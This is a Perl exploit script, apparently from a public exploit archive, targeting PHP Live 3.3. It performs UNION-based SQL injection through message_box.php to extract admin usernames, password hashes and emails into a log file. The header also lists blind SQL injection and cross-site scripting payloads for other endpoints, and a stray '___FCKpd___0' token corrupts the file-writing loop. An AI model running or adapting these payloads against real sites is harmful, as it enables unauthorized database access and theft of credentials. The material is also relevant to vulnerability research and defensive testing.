#!/usr/bin/perl -w
############################################################################
#
# Exploit Title: PHP Live 3.3
# Date: 01/08/2010
# Author: TA4G - S8T@hotmail.com
# Vendor: phplivesupport.com
# Version: 3.3
# Google dork : n/a
# Platform / Tested on:  windows 7
# Category: webapps/0day
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#  L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST _ Sn!p3r_P4L
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#                                          Gr33tz to ### ArHack.NeT ###
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Usage: exploit.pl <page> <path> <valid user>
# Example: perl exploit.pl http://site.com phplive TA4G
#
# path and username are optional. You can set them to 'no' if you dont
# know any information, or remove this parameters like:
#
# perl exploit.pl http://site.com no adalbert
# perl exploit.pl http://site.com
# perl exploit.pl http://site.com no no
#
###########################################################################
#
# Other bugs in:
# /phplive/admin/index.php?sid=[sid]&deptid=1+[SQL BLIND INJECTION]
# /phplive/request.php?l=admin&x=1+[SQL BLIND INJECTION]
#
# /phplive/admin/index.php?sid=1[sid]&deptid=&search_string="><Script>alert(1)</Script>
# /phplive/message_box.php?theme=&l=admin&x=1&deptid=1"><Script>alert(1)</Script>
#
###########################################################################
#
# Demonstration:
#
# perl exploit.pl http://site.com phplive no
# ...
# >-------Exploit Intro-------<
# -----------------------------
# Logging:
# -----------------------------
#[*] Vulnerable: Yes
#[*] Injecting: Done
#[*] -----------
#[*] Userdata:
#
# bla:hashashashashash:S8T@hotmail.com
# admin:hashashashasha:admin@TA4G.com
#
#[*] Writing logfile
#[*] Exit
#
#
############################################################################
# Setting crappy vars

    use LWP::Simple;
    
    $link = shift or die("\n\nRead the fuckn manual\n\n");
    $path = shift or $path = '/phplive';
    $user = shift or $user = 'admin';    
    $link = 'http://'.$link if($link !~ /^http:\/\//);    
    $add = '/message_box.php?theme=&l='.$user.'&x=1&deptid=-1';
    ($pw,$count) = (0x37635345,0);

#*********** Baby protection ************#
    

  print "Please insert anti-baby-code:";
    $baby = <STDIN>;
    die "\n\nwait a few years please...\n\n" if ($pw != $baby);
    
    intro();
    print "\nLOGGING:\n----------------------------------------\n";
    
#*********** Vulnerable-Check ************#

    $resp = get($link.'/'.$path.$add.'+union+(select+1'.',1'x14 .',777777777,1,1)-- -');
    ($resp =~ m/<p>777777777<\/p>/i) ? print "[*] Vulnerable: Yes\n[*] Injecting: Done\n[*] --------------\n" : die("[*] Vulnerable: No\n[*] Exit\n");

#*********** Injecting Nanobots ***********#

    print "[*] Userdata: \n\n";
    $infostring = 'concat_ws(0x3a,777777,version(),login,password,email)';
    while(1) {
        $resp = get($link."/".$path.$add."+union+(select+1".",1"x14 .",".$infostring.",0,0+from+chat_admin+limit+".$count.",1)-- -");
        $resp =~ m/777777:(.*)<\/p>/i or last;
        @temp = split(":",$1);
        push(@data,($temp[1].":".$temp[2].":".$temp[3]));
        print $temp[1].":".$temp[2].":".$temp[3]."\n";
        $count++;
    }
    
#*********** Write2file *****************#

    $text = "[TA4G] [PHP Live 3.3] SQL Injection Exploit:\n\n[*] Link: ".$link."/".$path.$add."\n".
            "[*] mySQL Version: ".substr($temp[0],0,3)."\n[*] Userdata: \n";
            
    open(LULZ,">>log.txt");
    print LULZ $text;
    foreach(@data) {print LULZ 
___FCKpd___0
."\n";}
    close LULZ;
    print "\n[*] Writing Logfile\n[*] Exit\n\n\n";

#************ Leet intro **************#    

    sub intro {
print q {

---------------------------------------
***************************************
*
* [PHP Live 3.3] SQL Injection Exploit
*     written by TA4G
*      -----------
* Usage: exploit.pl <url> <path> <user>
*
* path and user are optional
*
***************************************
---------------------------------------
};
}